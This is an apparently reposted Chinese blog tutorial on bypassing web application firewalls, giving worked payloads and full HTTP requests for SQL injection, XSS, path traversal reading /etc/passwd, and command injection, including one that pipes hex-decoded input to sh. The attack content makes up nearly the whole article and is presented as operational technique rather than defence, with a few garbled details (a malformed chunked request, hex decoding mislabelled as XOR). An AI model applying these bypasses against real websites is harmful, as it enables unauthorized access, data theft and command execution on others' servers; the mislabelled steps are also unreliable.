Web打点与WAF绕过技术具体实例(接上一篇)包含SQL注入绕过WAF、XSS绕过WAF、文件包含漏洞、命令注入

server/2024/10/20 17:15:13/

为了更好地理解和应用上一篇的Web打点与WAF绕过技术,本篇将通过具体示例进行详细说明。每个示例将在前面介绍的技术基础上,展示如何在实际场景中操作。

示例一:SQL注入绕过WAF


场景描述
我们在一个登录页面发现SQL注入漏洞注入点在用户名字段上。原始Payload为:

sql">' OR 1=1 --


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来进行注入

绕过方法与示例


1. URL编码

将Payload进行URL编码后发送,WAF可能无法识别编码后的恶意字符串。
sql">%27%20OR%201%3D1%20--


发送请求:

sql">GET /login?username=%27%20OR%201%3D1%20--&password=123 HTTP/1.1
Host: example.com

2. 使用注释符混淆

利用SQL注释符进行Payload混淆,使其变得难以识别。
sql">'/**/OR/**/1=1/**/--


发送请求:

sql">GET /login?username=%27/**/OR/**/1=1/**/--&password=123 HTTP/1.1
Host: example.com

3. 分块传输编码

利用HTTP 1.1的分块传输编码,将Payload分块发送。
sql">POST /login HTTP/1.1
Host: example.com
Transfer-Encoding: chunked0a
' OR 1=
0a
1 --
0


示例二:XSS绕过WAF


场景描述
在一个留言板页面,我们发现可以注入XSS Payload,原始Payload为:

<script>alert('XSS')</script>


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来注入XSS。

绕过方法与示例


1. URL编码


将Payload进行URL编码后发送,WAF可能无法识别编码后的恶意字符串。

%3Cscript%3Ealert(%27XSS%27)%3C/script%3E


发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedcomment=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E

2. 使用Unicode编码


将<script>转换为Unicode编码,使其绕过WAF检测。

%u003Cscript%u003Ealert('XSS')%u003C/script%u003E


发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedcomment=%u003Cscript%u003Ealert('XSS')%u003C/script%u003E

3. DOM拼接

利用JavaScript的拼接功能,将恶意脚本分段注入

<img src="x" onerror="al"+"ert('XSS')">


发送请求:

POST /comment HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencodedcomment=<img src="x" onerror="al"+"ert('XSS')">


示例三:文件包含漏洞


场景描述
在一个文件下载功能中,我们发现可以通过文件包含漏洞读取服务器上的文件。原始Payload为:

download.php?file=../../../../etc/passwd


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来读取文件。

绕过方法与示例


1. URL编码


将Payload进行URL编码后发送。

download.php?file=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd


发送请求:

GET /download.php?file=%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd HTTP/1.1
Host: example.com

2. 使用Null字节(%00)


在文件路径末尾加入Null字节,绕过WAF的文件扩展名检查。

download.php?file=../../../../etc/passwd%00


发送请求:

GET /download.php?file=../../../../etc/passwd%00 HTTP/1.1
Host: example.com

3. 利用WAF的误判


有时WAF的规则可能存在误判漏洞,可以通过修改Payload的形式绕过检测。

download.php?file=....//....//....//....//etc/passwd


发送请求:

GET /download.php?file=....//....//....//....//etc/passwd HTTP/1.1
Host: example.com


示例四:命令注入


场景描述
在一个系统命令调用功能中,我们发现可以通过命令注入漏洞执行系统命令。原始Payload为:

; cat /etc/passwd


直接使用这个Payload可能会被WAF拦截,我们需要绕过WAF来执行命令。

绕过方法与示例


1. URL编码


将Payload进行URL编码后发送。

%3B%20cat%20%2Fetc%2Fpasswd


发送请求:


GET /execute?cmd=%3B%20cat%20%2Fetc%2Fpasswd HTTP/1.1
Host: example.com

2. 使用特殊符号


利用特殊符号绕过WAF检测。

; cat$IFS/etc/passwd


发送请求:

GET /execute?cmd=%3B%20cat$IFS/etc/passwd HTTP/1.1
Host: example.com

3. 使用异或编码


将命令进行异或编码后在服务器端解码执行。

echo "payload" | xxd -r -p | sh


发送请求:

GET /execute?cmd=echo%20"7061796c6f6164"%20%7C%20xxd%20-r%20-p%20%7C%20sh HTTP/1.1
Host: example.com


http://www.ppmy.cn/server/131767.html

相关文章

应对网络安全挑战:App等保测评的重要性与策略

在全球数字化转型的大潮中&#xff0c;移动应用(App)作为连接人们日常生活与互联网世界的桥梁&#xff0c;其数量与日俱增&#xff0c;功能日趋多样化。与此同时&#xff0c;App背后潜藏的网络安全风险也随之上升&#xff0c;数据泄露、隐私侵犯、恶意软件植入等问题频发&#…

解锁编程的力量:SPL的学习之旅

SPL 一、前言二、集算器应用场景三、下载四、集算器的基本使用 一、前言 一种面向结构化数据的程序计算语言 集算器又称&#xff1a;SPL&#xff08;Structured Process Language&#xff09; 敏捷计算是集算器的主要特征 二、集算器应用场景 数据准备&#xff08;跑批&…

MTK免USB线实现WIFI Adb连接

文章目录 需求场景重置tcpip服务产品定义 实现方案修改文件修改内容 关联知识点总结 需求 MTK 平台在不用USB线的情况下&#xff0c;实现wifi adb 连接设备&#xff0c;从而进行调试操作。 场景 重置tcpip服务 MTK产品不像RK、全志系统产品&#xff0c;电脑和Android设备同一…

maven聚合ssm

如果没有写过ssm项目请移步SSM后端框架搭建&#xff08;有图有真相&#xff09;-CSDN博客 数据库准备 create table user (id int (11),uid varchar (60),name varchar (60),age int (11),sex varchar (12) ); insert into user (id, uid, name, age, sex) values(10,202409…

[LeetCode] 1047. 删除字符串中的所有相邻重复项

题目描述&#xff1a; 给出由小写字母组成的字符串 s&#xff0c;重复项删除操作会选择两个相邻且相同的字母&#xff0c;并删除它们。 在 s 上反复执行重复项删除操作&#xff0c;直到无法继续删除。 在完成所有重复项删除操作后返回最终的字符串。答案保证唯一。 题目链接…

OpenCV视频I/O(20)视频写入类VideoWriter之用于将图像帧写入视频文件函数write()的使用

操作系统&#xff1a;ubuntu22.04 OpenCV版本&#xff1a;OpenCV4.9 IDE:Visual Studio Code 编程语言&#xff1a;C11 算法描述 cv::VideoWriter::write() 函数用于将图像帧写入视频文件。 该函数/方法将指定的图像写入视频文件。图像的大小必须与打开视频编写器时指定的大…

【云原生】利用 docker api 管理容器

目的 对容器进行管理 方案 使用 docker 官方sdk 对docker进行操作&#xff0c;操作依赖docker socket 官方sdk 参考 &#xff1a; https://docs.docker.com/engine/api/sdk/ 准备工作 为了方便调试&#xff0c;打开docker socket 的2375端口 部分代码 定义一个docker c…

【Python】Python中的异常处理

【Python】Python中的异常处理 在Python中&#xff0c;异常处理是一种重要的编程技术&#xff0c;用于处理程序执行过程中可能出现的错误或异常情况。通过使用try、except、else和finally关键字&#xff0c;可以有效地管理这些异常&#xff0c;确保程序的稳定性和健壮性。 基…